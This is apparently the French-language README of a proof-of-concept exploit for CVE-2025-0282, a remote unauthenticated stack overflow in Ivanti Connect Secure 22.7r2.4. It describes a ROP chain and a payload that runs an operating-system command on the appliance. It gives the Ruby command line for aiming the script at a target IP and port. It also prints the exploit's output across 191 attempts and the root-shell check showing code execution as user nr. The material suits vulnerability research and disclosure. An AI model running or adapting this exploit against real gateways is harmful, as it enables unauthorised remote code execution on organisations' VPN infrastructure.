
PoC pour CVE-2025-0282 : un débordement de tampon basé sur la pile, exploitable à distance sans authentification, affectant Ivanti Connect Secure, Ivanti Policy Secure et Ivanti Neurons for ZTA gateways
Un débordement de tampon basé sur la pile, non authentifié à distance, affectant Ivanti Connect Secure, Ivanti Policy Secure et Ivanti Neurons pour les passerelles ZTA
Il s'agit d'une preuve de concept d'exploit visant à démontrer l'exploitation de CVE-2025-0282, et repose sur la stratégie d'exploitation publiée par watchTowr.
Ce PoC contient une chaîne ROP conçue pour cibler Ivanti Connect Secure 22.7r2.4. Aucune autre version ne peut être ciblée sans d'abord construire la chaîne ROP correspondante pour cette version cible.
Ce PoC contient une charge utile qui exécutera une commande du système d'exploitation afin de créer un fichier temporaire sur le système cible. C'est ainsi que vous saurez que l'exploit a réussi. L'exécution de code est obtenue avec les privilèges de l'utilisateur non root nr.
Nous pouvons exécuter ce script contre une cible Ivanti Connect Secure vulnérable, version 22.7r2.4, comme suit :
C:\Users\sfewer\Desktop\CVE-2025-0282>ruby CVE-2025-0282.rb -t 192.168.86.111 -p 443
[+] Targeting 192.168.86.111:443
[+] Detected version 22.7.2.3597
[2025-01-16 14:39:56 +0000] Starting...
[2025-01-16 14:39:56 +0000] Triggering #1...
[2025-01-16 14:39:57 +0000] Triggering #2...
[2025-01-16 14:40:08 +0000] Triggering #3...
[2025-01-16 14:40:19 +0000] Triggering #4...
[2025-01-16 14:40:30 +0000] Triggering #5...
...snip...
[2025-01-16 15:13:28 +0000] Triggering #188...
[2025-01-16 15:13:38 +0000] Triggering #189...
[2025-01-16 15:13:49 +0000] Triggering #190...
[2025-01-16 15:14:00 +0000] Triggering #191...
Si l'exploit réussit, il écrira un nouveau fichier dans le répertoire temporaire /var/tmp/, avec une valeur numérique correspondant à l'itération de la tentative d'exploit faisant partie du nom du fichier.
Dans un shell root séparé sur l'appareil cible (que nous avons établi en jailbreakant l'appliance), nous pouvons observer quand l'exploit a réussi :
bash-4.2# ls -al /var/tmp/hax*
ls -al /var/tmp/hax*
ls: cannot access /var/tmp/hax*: No such file or directory
bash-4.2# ls -al /var/tmp/hax*
ls -al /var/tmp/hax*
-rw-r--r-- 1 nr nr 0 Jan 16 07:10 /var/tmp/haxor_191
bash-4.2#
Nous pouvons voir dans cet exemple que l'exploit a fait 190 tentatives échouées et a réussi à la 191e tentative. Donc, dans cet exemple, l'exploitation de cette cible a réussi en 34 minutes.